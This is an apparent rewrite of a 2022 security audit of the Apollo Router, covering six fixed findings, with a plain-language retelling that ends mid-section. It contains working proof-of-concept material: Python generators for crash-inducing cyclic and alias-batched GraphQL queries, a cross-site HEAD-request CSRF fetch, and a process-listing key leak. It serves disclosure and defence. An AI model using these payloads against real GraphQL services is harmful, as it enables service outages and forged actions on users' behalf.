Skip to content
DoS Write-up Intermediate

Apollo Router Security Audit Report (Q2 2022)

A security audit of the Apollo Router found six issues, including a denial of service where a single cyclic GraphQL query crashes the router process, and a CSRF flaw where a HEAD request carrying a mutation is not blocked. An attacker could crash the service for all users or, with a victim's browser, perform state-changing mutations on their behalf.

Norbert Szetei Follow

Published on doyensec.com

Prepared for: Apollo Graph Inc. Prepared by: Mykhailo Baraniak, Norbert Szetei Date: 06/16/2022

Norbert Szetei (@73696e65), Mykhailo Baraniak, on doyensec.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

Context

Apollo Graph Inc. engaged Doyensec to perform a security assessment of the Apollo Router OSS. The project ran from 02/05/2022 to 13/05/2022 and required two security researchers, Mykhailo Baraniak and Norbert Szetei. The engagement produced six findings, three of them rated Medium. In June 2022 Doyensec retested the router and confirmed the effectiveness of the applied mitigations; the retest used release v0.9.4. The report represents the state of all discovered vulnerabilities as of 16/06/2022.

The Apollo Router is a configurable, high-performance GraphQL router, about 13k lines of Rust code, including the query planner/federation repository and apollo-parser. The scope also covered the router extensions: header manipulation for downstream requests, manipulation of requests via user-provided scripts (Rhai, https://github.com/rhaiscript/rhai), and the Open Telemetry extension.

The JWT plugin was initially on the target list but was considered out of scope after discussion with the Apollo Graph team. All router configurations, subgraphs and supergraphs were treated as trusted in the threat model, which is why the subgraph data overwrite finding (APO-Q222-5) was given an informational severity. The schema update mechanism (Apollo Uplink) was still tested for the possibility of a MITM and tampering. Doyensec focused on vulnerabilities in the core logic rather than enumerating potential misconfigurations in user-defined policies, and features not enabled by default at the time of testing (for example the warp web server) were out of scope.

Setup

Testing took place in a local environment using the latest version of the software at the time. The docker images included in the supergraph-demo-fed2 repository were used. The activity was performed on the following releases:

  • apollo-rs [redacted]
  • router [redacted]
  • federation [redacted]
  • rhai [redacted]

Apollo Graph provided one production configuration (prod-schema.graphql). The source code and other example configurations were publicly available via GitHub at https://github.com/apollographql/supergraph-demo-fed2.

The tooling was Burp Suite, Proxychains, InQL, Bradamsa, Cargo-fuzz, and curl, netcat and other Linux utilities. The methodology combined source code review with dynamic testing and instrumentation, following standard testing methodologies such as the OWASP Testing guide recommendations, plus custom checklists.

Finding it

The findings recap, ordered by time of discovery, is:

ID Title Vulnerability Class Severity Status
APO-Q222-1 Denial Of Service Via Parsing Cyclic Queries Denial of Service (DoS) Medium Closed
APO-Q222-2 Cross Site Request Forgery Via Head Request Cross Site Request Forgery (CSRF) Medium Closed
APO-Q222-3 Apollo Key Leakage Via Command Line Arguments Insecure Design Informational Closed
APO-Q222-4 Ambiguous Header Propagation And Removal Insecure Design Low Closed
APO-Q222-5 Possibility To Overwrite Data Returned By The Subgraphs Insecure Design Informational Closed
APO-Q222-6 Denial Of Service Via Query Name Based Batching Denial of Service (DoS) Medium Closed

GraphQL lets clients craft very complex queries, so a router must be ready to handle them. Queries may be crafted maliciously by unauthorised users who are also allowed to execute custom queries. The first bug was discovered using bradamsa, a wrapper around the general-purpose dumb fuzzer radamsa, which generated cyclic queries and crashed the service even without any coverage. The second DoS bug was found by considering GraphQL batching and manually crafting big queries while observing the response time.

The CSRF issue came from reviewing how the router forbids mutations over HTTP GET. The router explicitly forbids performing GraphQL mutations with the GET method but implements no prevention mechanism for the HTTP HEAD method. The header propagation issue came from reading the header manipulation configuration and noticing that the documentation does not mention any order of execution, so the user cannot determine the behaviour without testing the configuration dynamically or reading the source code. The subgraph overwrite issue came from looking at how the router merges subquery outputs: it does not check which output is coming from which subgraph before merging.

Exploitation

APO-Q222-1: crashing the router with a cyclic query

The component is the apollo-parser crate. A single HTTP request with a cyclic query crashes the Apollo Router process: the tokio-runtime-worker thread fails to parse the customised query and panics.

  1. Download the starstuff.graphql supergraph and run the router:
Bash
$ curl -sL https://supergraph.demo.starstuff.dev/ > starstuff.graphql
$ target/release/router --supergraph starstuff.graphql
  1. Generate a cyclic query with the following Python script (PoC.py), which takes the count as an argument:
Python
#!/usr/bin/env python
from sys import argv
count = int(argv[1])
F=" reviews { body product {"
S=" author { name id reviews { body } } } }"
TEMPLATE="""
{"query":"query Reviews { me { """ + F*count + """ name } """ + S*count + """ }","variables":null}
"""
with open("PoC.json", "wt") as f:
    f.write(TEMPLATE)

The script repeats the fragment F and the fragment S count times inside a single query Reviews document, producing deeply nested selections.

  1. Send the generated PoC.json via curl:

The router process crashes with the following error and does not restart:

Text
thread 'tokio-runtime-worker' has overflowed its stack
fatal runtime error: stack overflow
[1] 58967 abort      target/debug/router --supergraph

The finding was also reproduced using the demo-fed2 docker container. In all confirmed cases the administrator had to re-execute the crashed process manually. Exploitation is trivial, and if introspection is enabled (the default option), InQL can immediately recognise the cyclic queries.

On Linux, the stack trace can be retrieved with gdb:

Bash
$ gdb target/debug/router -ex 'r --supergraph starstuff.graphql' -ex 'bt 10'

The top frames show the recursion inside the iterator implementation of apollo_parser::ast::AstChildren<N>:

Before the engagement ended, Doyensec verified that the issue was fixed in the commit https://github.com/apollographql/router/commit/[redacted].

APO-Q222-2: CSRF via HEAD request

The component is apollo-router-core/src/layers/forbid_http_get_mutations.rs:24. In a CSRF attack a request is initiated by an attacker on behalf of a victim; the victim only needs to click a malicious link or visit a page holding attacker-constructed code, and cookies and authentication data are sent automatically. In Apollo Router it is possible to perform mutation requests with the HTTP HEAD method.

The layer only checks for GET:

Text
impl<S> Layer<S> for ForbidHttpGetMutationsLayer
where
    S: Service<ExecutionRequest, Response = ExecutionResponse> + Send + 'static,
    <S as Service<ExecutionRequest>>::Future: Send + 'static,
    <S as Service<ExecutionRequest>>::Error: Into<BoxError> + Send + 'static,
{
    type Service = CheckpointService<S, ExecutionRequest>;

    fn layer(&self, service: S) -> Self::Service {
        CheckpointService::new(
            |req: ExecutionRequest| {
                if req.originating_request.method() == Method::GET && req.query_plan.contains_mutations()

The CORS policy, default or custom, which could prevent such requests from the browser, can be completely bypassed by omitting the Origin header altogether. Since the HEAD request is converted to the corresponding POST request by the router, the exploitation bypasses even the recently implemented CSRF protection when used with Apollo Server.

  1. The attacker tricks an authenticated victim into opening a malicious page. The JavaScript sends the HEAD request, attaches cookies and avoids sending the Origin header:
JavaScript
fetch("http://localhost:4000/graphql?query=mutation+CreateProduct{createProduct(upc:%22somename%22){inStock}}", { mode: 'no-cors', 'method': 'HEAD', credentials: 'include' })
  1. The Firefox browser generates the following request. The cookie is added by the browser and there is no Origin header, which bypasses any CORS configuration policy:
HTTP
HEAD /graphql?query=mutation+CreateProduct{createProduct(upc:%22somename%22){inStock}} HTTP/1.1
Host: localhost:4000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: sessionCookie=<REDACTED>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

The response is a plain 200:

HTTP
HTTP/1.1 200 OK
content-length: 169
date: Fri, 06 May 2022 09:45:42 GMT
  1. The router itself generates the subsequent request to the subgraph, converting the HEAD into a POST:
HTTP
POST / HTTP/1.1
content-type: application/json
host: products.demo.starstuff.dev
Content-Length: 141
Connection: close

{"query":"mutation CreateProduct__products__0{createProduct(upc:\"somename\"){__typename upc}}","operationName":"CreateProduct__products__0"}

The impact is rated High: CSRF allows an unauthenticated attacker to perform actions on a system via an authenticated victim's session, and this one is considered severe since it might impact downstream applications in a significant way. The finding itself is rated Medium. Complexity is Low; the biggest barrier is manipulating a victim to click a link or visit a webpage containing attacker-constructed HTML or JavaScript.

APO-Q222-3: Apollo key leakage via command line arguments

Users can specify an Apollo Key via the YAML configuration file or environment variables. The application also supports setting the key via command-line arguments, which has the highest precedence:

Text
--apollo-key <APOLLO_KEY>
    Your Apollo key [env: APOLLO_KEY=]

The application does not prevent leaking the key to other users on the platform running the router. Unlike environment variables, the command line arguments of running processes are visible to all local users.

  1. Run the following command as a different user than the one running the router process:
Bash
$ ps aux | grep -i [r]outer
tbnz  295249  0.8  0.2 6171216 85244 pts/9  Sl+  10:23  0:01 target/debug/router --supergraph ../starstuff.graphql -c router.yaml --apollo-key service:MyGraph-2-fniawc:VkMaDl-<REDACTED>

The output exposes the full key. The impact is Medium: if the key is passed via shell arguments, an attacker can leak the key to impersonate the victim. Exploitation requires having an account on the same server.

APO-Q222-4: ambiguous header propagation and removal

The component is router/apollo-router-core/src/plugins/headers.rs. The router allows a configuration file for header manipulation, including operations such as "propagate" and "remove". The documentation does not mention any order of execution.

  1. In the following example all headers are propagated to the subgraph except test, which is specified at the end of the file and is removed. This is intuitive and expected:
Text
headers:
  all:
    - propagate:
        matching: .*
    - remove:
        named: "test"
  1. The following example yields a different result. Here the header test is initially removed, but the implementation of the propagate function adds it back, effectively ignoring the removal. The final effect is that the test header is included in the propagated headers:
Text
headers:
  all:
    - remove:
        named: "test"
    - propagate:
        matching: .*

The propagate operation uses the req.originating_request.headers structure instead of req.subgraph_request.headers_mut, which is modified by the insert or remove operations beforehand:

Text
Operation::Remove(Remove::Named(name)) => {
    req.subgraph_request.headers_mut().remove(name);
}
..
Operation::Propagate(Propagate::Named {
    named,
    rename,
    default,
}) => {
    let headers = req.subgraph_request.headers_mut();
    let value = req.originating_request.headers().get(named);
    if let Some(value) = value.or(default.as_ref()) {
        headers.insert(rename.as_ref().unwrap_or(named), value.clone());
    }
}
Operation::Propagate(Propagate::Matching { matching }) => {
    let headers = req.subgraph_request.headers_mut();
    req.originating_request
        .headers()
        .iter()
        .filter(|(name, _)| matching.is_match(name.as_str()))
        .filter(|(name, _)| !RESERVED_HEADERS.contains(name))
        .for_each(|(name, value)| {
            headers.insert(name, value.clone());
        });
}

The impact is N/A. Using the propagation matching pattern .*, which is the first pattern mentioned in the documentation, the user could place the removal statement incorrectly and might create a security misconfiguration. Complexity depends on the user's router configuration.

APO-Q222-5: overwriting data returned by the subgraphs

One of the router's basic functionalities is specifying a supergraph for multiple subgraphs. When a user inputs a query requiring multiple data sources, the subqueries are forwarded to the dedicated subgraphs and the user receives only the merged output. Since the router does not check which output is coming from which subgraph before merging, it is possible to overwrite the data served by a different subgraph. This violates the integrity of the response since any subgraph can be interposed.

  1. Using the starstuff.graphql supergraph, the query:
JSON
{"query":"query TopProducts($first: Int) {\n  topProducts(first: $first) {\n    name\n    price\n  }\n  me {\n    name\n    id\n  }\n}"}

returns:

JSON
{"data":{"topProducts":[{"name":"Table","price":899},{"name":"Couch","price":1299},{"name":"Chair","price":54}],"me":{"name":"Ada Lovelace","id":"1"}}}
  1. It consults the following subgraphs, with the returned output data:
Text
https://accounts.demo.starstuff.dev
{"data":{"me":{"name":"Ada Lovelace","id":"1"}}}

https://products.demo.starstuff.dev
{"data":{"topProducts":[{"name":"Table","price":899},{"name":"Couch","price":1299},{"name":"Chair","price":54}]}}
  1. Assume the products subgraph is malicious and, instead of returning the JSON data with the topProducts object, returns the me object instead:
JSON
{"data":{"me":{"name":"Elizabeth Medora Leigh","id":"1"}}}

The user then sees only the altered data:

HTTP
HTTP/1.1 200 OK
content-length: 58
date: Thu, 12 May 2022 11:23:00 GMT

{"data":{"me":{"name":"Elizabeth Medora Leigh","id":"1"}}}

The order of requests matters: for overwriting the legitimate response, the malicious subgraph request must go after the legitimate one. The ordering of sub-requests is random and changes with every request. The issue can be reproduced by proxying the router's traffic through a local HTTPS proxy, for example Burp Suite using proxychains.

The impact is described as High: an attacker with knowledge of the original query can overwrite the legitimate responses to serve arbitrary content. The finding itself is rated Informational. Complexity is High, since exploitation involves a malicious or compromised subgraph. The finding was outside the scope of the assessment: in the agreed threat model all subgraphs were considered trusted, so it was closed.

APO-Q222-6: DoS via query name based batching

A single query containing multiple query name aliases crashes the router: the tokio-runtime-worker thread fails to parse such a query and panics. The tests were executed on binaries compiled from the latest available code in the main branch (commit ID [redacted]).

  1. Start the router with the prod-schema.graphql schema:
Bash
$ ./target/debug/router -c router.yaml --supergraph prod-schema.graphql --log error

The production schema was used just for demonstration; the issue could be identically reproduced using a different supergraph, for instance starstuff.graphql.

  1. This PoC Python script generates a query with multiple aliases, taking the count as an argument:
Python
#!/usr/bin/env python
from sys import argv
count = int(argv[1])
BODY = "{"
for i in range(1,count):
    BODY += "Q{:d}:product(id:{:d})".format(i, i)
    BODY += "{url},"
BODY = BODY[:-1]
TEMPLATE="""
{"query":"query """ + BODY + """}"}"""
with open("PoC.json", "wt") as f:
    f.write(TEMPLATE)
  1. To crash the debug version of the server, a request with about 50,000 aliases (a 1.3MB POST request) is needed:
Text
2022-05-12T08:50:14.904706Z TRACE hyper::proto::h1::conn: flushed({role=server}): State { reading: KeepAlive, writing: Init, keep_alive: Busy }
thread 'tokio-runtime-worker' has overflowed its stack
fatal runtime error: stack overflow
  1. To crash the release version of the server, a request with about 1M aliases (a 30MB POST request) is needed:
Text
./target/release/router -c router.yaml --supergraph prod-schema.graphql --log error
<--- Last few GCs --->
[48143:0x7fe38954f000]  46094 ms: Scavenge 1364.8 (1414.8) -> 1364.4 (1426.6) MB, 6.1 / 0.0 ms (average mu = 0.203, current mu = 0.160) allocation failure;
[48143:0x7fe38954f000]  46114 ms: Scavenge 1373.8 (1427.3) -> 1374.5 (1429.3) MB, 6.2 / 0.0 ms (average mu = 0.203, current mu = 0.160) allocation failure;
[48143:0x7fe38954f000]  46768 ms: Scavenge 1374.5 (1429.3) -> 1373.8 (1451.3) MB, 654.0 / 0.0 ms (average mu = 0.203, current mu = 0.160) allocation failure;
<--- JS stacktrace --->
#
# Fatal javascript OOM in Reached heap limit
#

The impact is potentially high: if the GraphQL router endpoint is available without authentication, an attacker can trivially crash the service and prevent all users from using it. The finding was reproduced on MacOS and Linux systems, and in all confirmed cases the administrator had to restart the crashed process manually. Complexity is trivial; an attacker just needs to send one HTTP request.

Root cause

APO-Q222-1 and APO-Q222-6 share a root cause in the apollo-parser crate: parsing deeply nested or heavily aliased documents recurses until the tokio-runtime-worker thread overflows its stack and the process aborts. The gdb trace for the cyclic query shows the recursion in AstChildren::next and the iterator try_fold/find_map chain. The recommended remediations were depth limiting and limiting the size of incoming requests.

APO-Q222-2 is a check that is too narrow: the ForbidHttpGetMutationsLayer rejects mutations only when req.originating_request.method() == Method::GET, leaving HEAD unhandled. The router then converts the HEAD request into a POST towards the subgraph, so the mutation executes. The CORS policy does not help because the browser request carries no Origin header, and the recently implemented CSRF protection used with Apollo Server is bypassed for the same reason.

APO-Q222-3 is a design choice: the key can be supplied as a command line argument, and command line arguments of running processes are visible to all local users, unlike environment variables.

APO-Q222-4 is an implementation detail: the propagate operation reads from req.originating_request.headers rather than req.subgraph_request.headers_mut, so headers removed earlier in the same configuration are added back. The documentation does not state that the rules are order dependent.

APO-Q222-5 is a merge that trusts the shape of each subgraph response: the router does not check which output is coming from which subgraph before merging, so a subgraph can return an object belonging to another subgraph and overwrite it, provided its response arrives after the legitimate one.

Impact

APO-Q222-1 and APO-Q222-6 are potentially high impact: if the GraphQL endpoints are available without authentication, an attacker can trivially crash the service and prevent all users from using it, and the administrator has to restart the process manually. APO-Q222-2 is rated Medium; the impact text says High: CSRF allows an unauthenticated attacker to perform actions via an authenticated victim's session, and it might impact downstream applications in a significant way. APO-Q222-3 is rated Informational; the impact text says Medium: an attacker with an account on the same server can leak the key and impersonate the victim. APO-Q222-4 has no direct impact (N/A); a user could place the removal statement incorrectly and create a security misconfiguration. APO-Q222-5 is rated Informational, since exploitation requires a malicious or compromised subgraph, which the agreed threat model excluded.

Overall, the security posture of the product was found to be in line with industry best practices, and at the design level the system was found to be well architected.

Fix

All six issues were mitigated in a timely manner by the Apollo Graph team, and the retest on release v0.9.4 confirmed the effectiveness of the applied mitigations. No outstanding security vulnerabilities discovered during the engagement exist.

Text
fn layer(&self, service: S) -> Self::Service {
    CheckpointService::new(
        |req: ExecutionRequest| {
            if req.originating_request.method() != Method::POST && req.query_plan.contains_mutations()
  • APO-Q222-3: the Apollo Graph team removed the APOLLO_KEY and APOLLO_GRAPH_REF command line parameters in the pull request https://github.com/apollographql/router/pull/1069. The recommendation was to pass the key via a file (after checking that permissions allow only the owner to read it) or a pipe, or to remove the option, or at least to document the security implication.
  • APO-Q222-4: the documentation was updated to clearly describe the undesirable effect of adding back removed headers and to illustrate how to avoid it. The issue was remediated in https://github.com/apollographql/router/pull/1061/commits/[redacted]. The alternative was to modify the application not to propagate already removed headers.
  • APO-Q222-5: the recommendation is to ensure that the returned object is the same as requested, information already contained in the JSON data. As a workaround, users must ensure that all subgraphs are trusted and cannot be tampered with by adversaries.
  • APO-Q222-6: dynamic testing confirmed the vulnerability was addressed in release v0.9.4. The recommendation is to limit the size of incoming requests or make such a setting configurable with a secure default value, and as an additional measure to implement depth limiting.

The report also lists long-term improvements: since availability is one of the main goals of this infrastructure component, consider restructuring the code to implement user input processing functions in a segregated process or thread, so the router process survives if the child process crashes; and regularly run cargo audit and remove unmaintained packages, since failure, net2 and serde_cbor are deprecated and should be replaced with the recommended alternatives.

On fuzzing, Doyensec spent one day evaluating the harness in https://github.com/apollographql/apollo-rs/tree/main/crates/apollo-smith, based on the generate_valid_document function and the apollo-smith document builder. The implementation is considered well written and efficient at finding specific bugs, but the router repository currently only deploys differential fuzzing, whose coverage is based on GraphQL document generation only and relies only on valid documents. The proposed expansions are: 1) fuzz more components, for example by modifying the webserver to read data from the fuzzer instead of the socket, which expands throughput and covers third-party libraries but may require considerable code restructure; 2) at least for Lexer and Parser, implement another fuzzer that uses test cases from the grammar fuzzer stored as valid GraphQL documents and recombines them into meaningful documents that are not always wholly conforming to the grammar; 3) for Lexer and Parser, consider adding https://github.com/rust-fuzz/afl.rs as a secondary fuzzer, since AFL might find newer bugs even where functionality overlaps.

Variants to test

  • Send HEAD requests carrying a mutation to any GraphQL endpoint that blocks mutations on GET. A positive result is a state change on the backend, or a 200 with the mutation executed, while the equivalent GET is rejected.
  • Repeat the HEAD request without an Origin header from a cross-site page. A positive result is that the request is processed despite the CORS configuration.
  • Send deeply nested or cyclic selection sets (the F/S repetition above) and observe the process. A positive result is a stack overflow in a worker thread and a process that does not restart.
  • Send a single query with a very large number of aliases and watch response time and memory. A positive result is a crash or an out-of-memory condition from one request.
  • Run ps aux as a different local user while the service runs with secrets on the command line. A positive result is a key or token visible in the process listing.
  • Configure header removal followed by a broad propagate rule and check the headers received by the subgraph. A positive result is the removed header reappearing downstream.
  • With a proxy in front of the router, have one subgraph return an object that belongs to another subgraph and check the merged response. A positive result is the altered object replacing the legitimate one when the malicious response arrives last.
  • Enable introspection and run InQL against the endpoint to see whether cyclic queries are recognised automatically, which indicates the same parser exposure.

Appendix: engagement test plan

The high level tests executed by Doyensec were: investigate mutation possibility with the GET and HEAD HTTP methods; test header propagation against Regex ReDoS, CRLF, bypasses in configured rules, header removal, request smuggling attacks and Hop By Hop Headers, and HTTP2 and older version support; test CORS configuration and possible bypasses; investigate the logging implementation for environment variables expansion and secrets/API keys; investigate traffic shaping; investigate subgraph error inclusion; investigate reports from SAST tools; investigate disabling introspection queries and possible bypasses; review Docker images for misconfigurations, private images or registries, dependencies with known vulnerabilities and hardcoded secrets; investigate cache implementations (normal cache and automatic persisted queries); investigate the query planner implementation; investigate DoS issues such as crashes in the tokio-runtime-worker component, recursion and nested objects handling across subgraphs when combined, handling of batching queries with GraphQL, and protection against cyclic or long queries; focus on plugins implementation (header manipulation, RHAI, Telemetry plugin, Forbid mutations plugin, plugin ordering and other by default enabled plugins); review all exposed endpoints for standard web security issues (e.g. OWASP Testing Guide); and investigate Managed mode and Apollo Uplink, verifying the security mechanism against MITM attacks and checking any differences between local and managed setup.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 38 min read.

What happened, in plain words

Apollo Graph Inc. makes a piece of software called the Apollo Router. A router, in this context, is a program that sits between the people using an app and the many smaller services behind it. When someone asks the app for information, the router works out which of those smaller services can answer, asks them, and glues the answers together into one reply. Apollo hired a security company, Doyensec, to try to break the router on purpose so that real attackers could not. Two researchers, Mykhailo Baraniak and Norbert Szetei, did the work between 2 May 2022 and 13 May 2022. They found six problems. Three were rated Medium, which is a middle level of seriousness. In June 2022 they checked the fixes and confirmed they worked, using version v0.9.4 of the router. The report describes the state of everything found as of 16 June 2022.

A few words you will meet constantly, explained once here. An API (Application Programming Interface) is the doorway a program offers so other programs can talk to it, like a service counter where you hand over a request and get an answer back. GraphQL is a way of asking an API for exactly the data you want, in one request, by writing a query that looks a bit like a JSON document. A query asks for data; a mutation asks the server to change something, such as creating a product. A cookie is a small piece of data a website stores in your browser so it can recognise you on the next request, like a cloakroom ticket. A token or key is a secret string that proves who you are, like a password that software carries around. A vulnerability is a weakness that can be abused. A vulnerability class is just the family a weakness belongs to, for example "Denial of Service" or "Cross Site Request Forgery". Severity is how bad it is if abused. Informational means it is worth knowing but not directly dangerous on its own. Closed means the problem has been fixed.

The router is written in Rust, a programming language, and is about 13,000 lines long. The audit also covered the router's extensions, which are optional add-ons: one that adjusts headers (small labels attached to every web request, like the address and handling notes on an envelope) before requests go to the smaller services; one that lets users run their own scripts written in a language called Rhai; and one for Open Telemetry, a system for collecting measurements about what the software is doing.

One part of the router was left out of scope: the JWT plugin, a component for checking login tokens. After talking with Apollo, the researchers agreed not to test it. They also agreed to treat all router configurations, subgraphs (the smaller services behind the router) and supergraphs (the combined description of all those services) as trusted. That decision is why the finding about overwriting subgraph data (APO-Q222-5) was only rated Informational. They did still test the mechanism that updates the schema (the description of what data exists), called Apollo Uplink, to see whether someone sitting in the middle of the network could tamper with it. A MITM (man in the middle) is exactly that: an attacker positioned between two parties who can read or alter what passes between them. The researchers concentrated on flaws in the router's own logic rather than on ways a user might misconfigure it, and features that were not switched on by default at the time, such as the warp web server, were out of scope.

How the test was set up

Everything was tested locally, on the researchers' own machines, using the newest version of the software available then. They used ready-made Docker images from a public repository called supergraph-demo-fed2. Docker is a tool that packages software with everything it needs so it runs the same way anywhere, like a lunchbox with the meal and the cutlery inside. The exact versions tested were:

  • apollo-rs [redacted]
  • router [redacted]
  • federation [redacted]
  • rhai [redacted]

Those long strings are commit IDs: unique fingerprints of a particular saved state of the source code, so anyone can retrieve exactly the same code later. Apollo provided one production configuration file, prod-schema.graphql. The source code and other example configurations were public on GitHub at https://github.com/apollographql/supergraph-demo-fed2.

The tools they used were Burp Suite (a program that lets you watch and edit web traffic passing through your machine), Proxychains (a helper that forces other programs to send their traffic through such a proxy), InQL (a tool that inspects GraphQL APIs), Bradamsa (a wrapper around a random-input fuzzer called radamsa), Cargo-fuzz (a fuzzer for Rust code), and curl, netcat and other Linux utilities. Fuzzing means feeding a program huge amounts of random or semi-random input to see if it breaks, like shaking a machine to find the loose screw. The overall method combined reading the source code with actually running the software and watching what happened, following standard checklists such as the OWASP Testing Guide, a widely used catalogue of web security tests.

The six findings

Here is the list, in the order the researchers found them. The order is deliberate: it shows how the audit progressed from easier discoveries to ones that needed a deeper understanding of the code.

ID Title Vulnerability Class Severity Status
APO-Q222-1 Denial Of Service Via Parsing Cyclic Queries Denial of Service (DoS) Medium Closed
APO-Q222-2 Cross Site Request Forgery Via Head Request Cross Site Request Forgery (CSRF) Medium Closed
APO-Q222-3 Apollo Key Leakage Via Command Line Arguments Insecure Design Informational Closed
APO-Q222-4 Ambiguous Header Propagation And Removal Insecure Design Low Closed
APO-Q222-5 Possibility To Overwrite Data Returned By The Subgraphs Insecure Design Informational Closed
APO-Q222-6 Denial Of Service Via Query Name Based Batching Denial of Service (DoS) Medium Closed

A Denial of Service (DoS) means making a service unavailable to its legitimate users, for example by crashing it. Cross Site Request Forgery (CSRF) means tricking a logged-in user's browser into sending a request the user did not intend. Insecure Design means the weakness comes from how the feature was planned, not from a coding slip.

GraphQL lets clients write very complex queries, so any server that accepts them must be ready for that. Queries can be crafted maliciously by people who are allowed to run custom queries but are not otherwise authorised. The first DoS finding came out of fuzzing: bradamsa, which wraps the general-purpose random fuzzer radamsa, produced cyclic queries and crashed the service even though it does no clever coverage tracking. The second DoS bug was found by thinking about GraphQL batching (sending many operations in one request) and manually building large queries while watching how long the server took to respond.

The CSRF issue came from reviewing how the router blocks mutations sent over HTTP GET. The router explicitly forbids mutations with GET but has no protection for the HTTP HEAD method. The header propagation issue came from reading the header configuration and noticing that the documentation never says in what order the rules run, so a user cannot predict the result without testing it or reading the source. The subgraph overwrite issue came from watching how the router merges answers from subgraphs: it does not check which answer came from which subgraph before merging.

APO-Q222-1: crashing the router with a cyclic query

The affected component is the apollo-parser crate. A crate is Rust's word for a reusable package of code, and a parser is the part of a program that reads incoming text and turns it into a structure the program can work with, like a clerk reading a form and filling in the right boxes. A single HTTP request containing a cyclic query crashes the router: the tokio-runtime-worker thread fails to parse the customised query and panics. A thread is one line of work inside a program; tokio is the Rust library that manages these threads; a panic is Rust's way of saying "something went so wrong I must stop". A cyclic query is one that refers back to itself over and over, so the parser keeps going deeper instead of finishing.

  1. Download the starstuff.graphql supergraph and start the router:
Bash
$ curl -sL https://supergraph.demo.starstuff.dev/ > starstuff.graphql
$ target/release/router --supergraph starstuff.graphql

Line by line. curl is a command-line tool for fetching things from the web. -s makes it quiet, -L tells it to follow redirects (if the server says "it is over there", go there), and > saves the downloaded text into a file called starstuff.graphql. The second line starts the router program, found at target/release/router, and --supergraph starstuff.graphql tells it to use that file as the description of the services it will route to. This step was needed because the researchers wanted a realistic set of services to attack.

  1. Generate a cyclic query with this Python script (PoC.py), which takes the count as an argument:
Python
#!/usr/bin/env python
from sys import argv
count = int(argv[1])
F=" reviews { body product {"
S=" author { name id reviews { body } } } }"
TEMPLATE="""
{"query":"query Reviews { me { """ + F*count + """ name } """ + S*count + """ }","variables":null}
"""
with open("PoC.json", "wt") as f:
    f.write(TEMPLATE)

Line by line. The first line marks the file as a Python script. from sys import argv brings in the list of arguments typed on the command line. count = int(argv[1]) takes the first argument and turns it into a whole number. F and S are two pieces of GraphQL text: F opens a path from reviews to body to product, and S opens a path from author to name, id, reviews and body. The TEMPLATE line builds the final request by gluing together the opening of a query, then F repeated count times, then a name field, then S repeated count times, then the closing braces, all wrapped in a JSON object with a query field and variables set to null. JSON is just a text format for structured data, like a very strict form. The last two lines open a file called PoC.json for writing and save the text into it. The point of repeating the fragments is to make the query nest deeper and deeper, which is what stresses the parser.

  1. Send the generated PoC.json with curl:

Line by line. python gen.py 5000 runs the script with a count of 5000, producing a very deeply nested query. && means "and then, if that worked". curl -d @PoC.json sends the contents of the file as the body of an HTTP request. http://[redacted]:4000/ is the address of the router on the local machine ([redacted] always means "this computer") on port 4000. -H $'Content-Type: application/json' adds a header telling the server the body is JSON. The researchers sent it because a single request is all an attacker would need.

The router crashes with this error and does not restart:

Text
thread 'tokio-runtime-worker' has overflowed its stack
fatal runtime error: stack overflow
[1] 58967 abort      target/debug/router --supergraph

Line by line. The first line says the worker thread ran out of stack. The stack is a small, fixed area of memory a program uses to keep track of nested work; when nesting goes too deep, it overflows, like a stack of plates getting too tall. The second line is Rust's final message before dying. The third line is the shell reporting that the router process aborted, with its process number 58967. The important part is that the process does not come back by itself.

The finding was also reproduced with the demo-fed2 Docker container. In every confirmed case the administrator had to start the crashed process again by hand. Exploiting it is trivial, and if introspection is enabled (it is the default), InQL can spot the cyclic queries immediately. Introspection is a GraphQL feature that lets a client ask the server to describe itself, which is handy for developers and equally handy for attackers.

On Linux the stack trace can be obtained with gdb, a debugger that lets you pause a program and look at what it is doing:

Bash
$ gdb target/debug/router -ex 'r --supergraph starstuff.graphql' -ex 'bt 10'

Line by line. gdb target/debug/router starts the debugger on the router program. -ex 'r --supergraph starstuff.graphql' tells it to run the program with that supergraph. -ex 'bt 10' asks for a backtrace of ten frames, which is the list of function calls that led to the crash, newest first. This was done to prove where the recursion happens.

The top frames show the recursion inside the iterator implementation of apollo_parser::ast::AstChildren<N>:

Line by line. Each line is one step in the chain of calls. #0 is the innermost, where the crash happened: try_fold, a standard Rust helper for walking through a sequence of items. #1 is find_map, another standard helper. #2 is AstChildren::next, the parser's own code that fetches the next child of a syntax tree node. #3 is try_fold again. Seeing the same functions repeat is the signature of recursion: each nested level of the query calls the same code again until the stack runs out. The paths on the right show which source file and line each call came from.

Before the engagement ended, Doyensec verified the issue was fixed in the commit https://github.com/apollographql/router/commit/[redacted].

APO-Q222-2: CSRF via a HEAD request

The affected component is apollo-router-core/src/layers/forbid_http_get_mutations.rs:24. In a CSRF attack, a request is started by an attacker on behalf of a victim. The victim only has to click a malicious link or visit a page containing code the attacker wrote, and the browser sends the victim's cookies and authentication data automatically. That automatic sending is the heart of the problem: the browser trusts the site it is talking to, and the attacker borrows that trust. In the Apollo Router it is possible to perform mutations with the HTTP HEAD method. HTTP methods are the verbs of the web: GET asks for something, POST sends something to be processed, and HEAD asks for only the headers of a response, as if you asked for the envelope without the letter.

The layer only checks for GET:

Text
impl<S> Layer<S> for ForbidHttpGetMutationsLayer
where
    S: Service<ExecutionRequest, Response = ExecutionResponse> + Send + 'static,
    <S as Service<ExecutionRequest>>::Future: Send + 'static,
    <S as Service<ExecutionRequest>>::Error: Into<BoxError> + Send + 'static,
{
    type Service = CheckpointService<S, ExecutionRequest>;

    fn layer(&self, service: S) -> Self::Service {
        CheckpointService::new(
            |req: ExecutionRequest| {
                if req.originating_request.method() == Method::GET && req.query_plan.contains_mutations()

